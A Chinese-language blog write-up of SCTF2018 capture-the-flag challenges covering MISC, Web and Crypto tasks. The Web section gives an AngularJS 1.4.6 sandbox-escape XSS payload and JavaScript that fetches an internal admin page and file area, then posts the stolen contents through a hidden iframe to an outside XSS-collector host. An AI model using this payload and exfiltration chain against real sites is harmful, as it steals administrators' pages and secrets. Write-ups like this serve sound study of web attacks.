SCTF2018-Write up

SCTF2018-…

前言

太菜了,还是太菜了。我已经沦为MISC选手了QAQ,一道Web没做出来(PHPmyadmin学弟做的)。。。愧为Web狗。

不过。。。这次超过天枢了,好开心。(虽说人家没有认真打)

正体

MISC-Modbus

查了下Modbus,是个工控协议。随手右键看了下TCP流,没想到直接就有flag....
什么鬼。

MISC-侧信道初探

这个算是学到了一点点。查了下侧信道的内容。题目给的文件是一个算法和一个图片。
直接看图片里下降沿,按二进制读取即为flag

MISC-肥宅快乐题

打游戏就给flag,不过真正的肥宅都懒得打,我用Flash反编译找的flag。。。
多亏potplayer强大,能直接拖进度条跳帧。拖到后面找到了flag,但那字体1和l分不清,于是在反编译里查了附近的字段。直接定位,base64 decode,flag complete.

Web-新的建议版

这题XSS都成功了,就是不知道下一步怎么利用。毕竟只能打自己。。。
payload:

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };eval(alert(1))//');}}

页面引用了AngularJS 1.4.6,对应版本有漏洞
怼了两天没做出来。。。。
等大佬们的flag吧。。。。


找到了一份Harries师傅的wp,MMP哟。原来提交留言管理员那里也会触发一遍。。。有句mmp我一定要说。

后台并不在公网上,http://127.0.0.1:1002/admin

构造payload读后台:

$.ajax({
    url: "/admin",
    type: "GET",
    dataType: "text",
    success: function(result) {
        var code = btoa(encodeURIComponent(result));
        xssPost('https://xsspt.com/index.php?do=api&id=xxxxxx', code);
    },
    error: function(msg) {

    }
})

function xssPost(url, postStr) {
    var de;
    de = document.body.appendChild(document.createElement('iframe'));
    de.src = 'about:blank';
    de.height = 1;
    de.width = 1;
    de.contentDocument.write('<form method="POST" action="' + url + '"><input name="code" value="' + postStr + '"/></form>');
    de.contentDocument.forms[0].submit();
    de.style.display = 'none';
}

在js脚本里写入读取后台页面的代码,提交留言,收到 /admin 页面的内容

在base64跟url解码之后,拿到 /admin 页面

我们可以看到有个文件管理页面,继续修改js访问 /admin/file

这里需要输入文件密码才能访问,接下来找一下文件密码

在一开始的首页里有个 min-test.js ,这里泄露了admin模板文件 view/admintest2313.html ,在这个模板中发现一个备忘录的接口

猜测这是在看 admintest2313 用户的备忘录,然后我们从获取到的后台页面中发现了 adminClound 这个用户名

拿到文件密码后,构造post包访问 /admin/file

$.ajax({
    url: "/admin/file",
    type: "POST",
    data: "filepasswd=HGf%5E%2639NsslUIf%5E23",
    dataType: "text",
    success: function(result) {
        var code = btoa(encodeURIComponent(result));
        xssPost('https://xsspt.com/index.php?do=api&id=xxxxxx', code);
    },
    error: function(msg) {

    }
})

即得flag。
太菜了,太菜了。。。。
想不到,想不到。。。。

Web-PHPmyadmin

这题学弟在群里看到了某师傅发的截图,尽管打了码,不过还是看到了师傅用的一句话的名字,爆破了密码。。。直接拿的flag。。。
真是多亏他的防撤回。。。QAQ

Crypto-it may contain 'flag'

nec都给了,数量级相同,用e指数攻击,维纳攻击,可解出d

而后解出:

n = 356096033429997161372356441930246707554046995590506452306084931488519008238592151695866774341246347160182054216879883209187019942641996111166252052256475412435016177136773967956292472785118669272929844214105480922945372638910276569650465033695573697459823872295312452877368652943145314840314022954151337366463
d = 731297
c = 0xd19d63015bdcb0b61824237b5c67cb2ef09af0c6cd30e193ff9683357b1e45ab4df607b8c1e0b96cafc49a84d7e655c3ce0f71b1d217eec9ca6cdfa57dd3dc92533b79431aa8a7d6ca67ac9cdd65b178a5a96ab7ce7bf88440f4a9b9d10151b0c942a42fdab9ea2c2f0c3706e9777c91dcc9bbdee4b0fb7f5d3001719c1dd3d3
mingwen = pow(c,d,n)
print (hex(mingwen))

Crypto-a number problem

x**33=1926041757553905692219721422025224638913707 mod 3436415358139016629092568198745009225773259
tell me the smallest answer of x

这题我还问了我爸到底是个啥原理,算是巧了,,,我爹数学系出身。。。余数定理,我爹说小时候还跟我玩过这个游戏。。。

a = b mod c
====>
a mod c == b mod c

然鹅手写是跑不出来的,最后还是队友用wolframalpha输入等式直接出的。。。。

harmoc

发表评论

电子邮件地址不会被公开。 必填项已用*标注